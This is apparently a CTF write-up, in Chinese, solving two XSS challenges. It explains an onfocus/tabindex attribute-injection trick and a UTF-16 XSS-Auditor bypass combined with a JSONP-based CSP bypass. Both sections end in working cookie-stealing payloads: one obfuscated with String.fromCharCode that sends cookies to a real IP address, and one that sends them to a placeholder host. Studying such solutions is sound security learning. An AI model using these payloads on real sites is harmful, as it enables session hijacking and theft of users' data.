赛题好难我好菜,其中还有一个是比赛结束复现出来的。这里写一下两道XSS的解题思路,还有一道是P神出的关于Scrapy爬虫框架的RCE,但是赛后听说是最新版本的Scrapy,等着看官方Wp的解法。
Mission Invisible
题目上来把代码全部给出来了,一段js并且告诉我们有两个隐藏的点
<script>
var getUrlParam = function (name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = unescape(window.location.search.substr(1)).match(reg);
if (r != null) return r[2];
return null;
}
function setCookie(name, value) {
var Days = 30;
var exp = new Date();
exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
}
function getCookie(name) {
var search = name + "="
var offset = document.cookie.indexOf(search)
if (offset != -1) {
offset += search.length;
var end = document.cookie.indexOf(";", offset);
if (end == -1) {
end = document.cookie.length;
}
return unescape(document.cookie.substring(offset, end));
}
else return "";
}
function setElement(tag) {
tag = tag.substring(0, 1);
var ele = document.createElement(tag)
var attrs = getCookie("attrs").split("&");
for (var i = 0; i < attrs.length; i++) {
var key = attrs[i].split("=")[0];
var value = attrs[i].split("=")[1];
ele.setAttribute(key, value);
}
document.body.appendChild(ele);
}
var tag = getUrlParam("tag");
setCookie("tag", tag);
setElement(tag);
</script>
重点在这个setElement
函数,通过tag.substring(0, 1)创建一个dom事件,然后从cookie种取出attrs属性进行标签属性的赋值。接下来追一下cookie是怎么入库的
var tag = getUrlParam("tag");
setCookie("tag", tag);
追到函数不难发现是tag传参进去的,并且在getcookie
函数中只截取了”attrs=”的后面的值,那么我们就可以在value里插入attrs的值。
所以现在的难点就在于怎么构造一个标签,在浏览器解析的时候自动触发XSS。由于tag = tag.substring(0, 1);
这段代码,使得我们现在能用的标签只有a、p。
最初我的想法是污染原型链,在循环遍历attrs的时候:
第一次key = __proto__.ele & value = document.createElement(“script”)
第二次 key = src & value = evil.com
但是尝试了一下发现这样并不能够成功污染,因为我们已经定义了ele这个变量。那只能从a、p标签下手,这里@LFY师傅想到一个很好的方法
<p onfocus="alert(document.cookie)" id="1" tabindex="0"></p>
我们可以通过tableindex使标签可聚焦,只需要在url后面跟一个锚点指向标签id,类似于#1
,这样聚焦时触发onfocus,效果就等效于自动触发xss。
http://52.52.236.217:16401/?tag=a%3d1attrs%3donmouserover%3d1%2526onfocus%3dalert(1)%2526id%3d1%2526tabindex%3d0#1
接着就是常规打cookie到本地
http://52.52.236.217:16401/?tag=a=attrs=onmouseover=1%2526onfocus=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,50,48,51,46,50,53,51,58,49,50,51,52,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))%2526id=1%2526tabindex=0#1
Hcorme
题目说明
首先题目有一个callback的接口,能够把请求参数输出,并且是text/html形式。这点其实在日常的web应用种并不多见,大多数callback的mime都是javascript
于此同时题目有两个难点需要bypass:
- XSS Auditor的限制
- CSP的限制
Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none';
解题思路
先着眼xss auditor这个点,在Chrome78以后XSS-Auditor被Chrome自家砍掉了,虽然auditor曾是不少xsser在面对反射性XSS时候的难题,但随着bypass的方法也日益增多,auditor的弊远远大于利:因为auditor在触发的时候会删除恶意输入,之前我博客中有一篇文章前端全局变量劫持,就能够利用Auditor达到变量劫持的目的。
于此同时Bypass auditor也算是出题人给我们的Hint。
当时我的思路是用字符集去bypass,也就是下面这种思路
因为auditor的核心思路就是拿浏览器的渲染和我们的输入做比较,不相符则不会被Check。不过chrome77已经不存在iso-2022-jp这种绕过的方法。接下来我们看一下Hardold师傅的思路—>utf-16编码绕过
这里串一个编码的知识点,通常我们看到%xx%xx这类的url编码,其实是用16进制表示的,比如utf-8编码形式如下
>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-8')))
>>> %E7%8C%AA
那么”猪”这个字在utf-8编码下就是0xe7 0x8c 0xaa
,下面我们来看一下utf-16编码下的”猪”怎么表示
>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-16')))
>>> %FF%FE%2As
这时会发现,用utf-16无论编码什么字符,前两个字节都是`0xff0xfe
因为在UTF-16文件的开首,都会放置一个U+FEFF字符作为Byte Order Mark(UTF-16LE以FF FE代表,UTF-16BE以FE FF代表),以显示这个文本文件是以UTF-16编码,它是个没有宽度也没有断字的空白。
此时我们来尝试一下能否Bypass XSS Auditor
>>> print(quote(('<script>alert(1)</script>').encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00
成功插入标签,接下来到了第二步,Bypass CSP。因为锁了default-src又没有给unsafe-inline,但是题目有一个jsonp的点,不难想到今年的那道ins’hack 2019/的bypasses-everywhere
这篇文章的大意相当于利用jsonp直接把js代码”挂载”到本地的script标签里面,从而导致的bypass。那么我们编写一个demo看看
>>> print(quote(('<script/src=?callback=alert(1)></script>').encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00a%00l%00e%00r%00t%00%28%001%00%29%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00
可以看到进行了两次资源请求,第二次的资源的执行类型是script
接着就是把flag打到自己的本地就行了
>>> print(quote(("<script/src=?callback=window.location='http://xxx/?'%2bdocument.cookie%0a//></script>").encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00w%00i%00n%00d%00o%00w%00.%00l%00o%00c%00a%00t%00i%00o%00n%00%3D%00%27%00h%00t%00t%00p%00%3A%00/%00/%00x%00x%00x%00/%00%3F%00%27%00%25%002%00b%00d%00o%00c%00u%00m%00e%00n%00t%00.%00c%00o%00o%00k%00i%00e%00%25%000%00a%00/%00/%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00
比赛总结
赛题质量真心高,膜Harlold师傅,日常拿0day打比赛..orz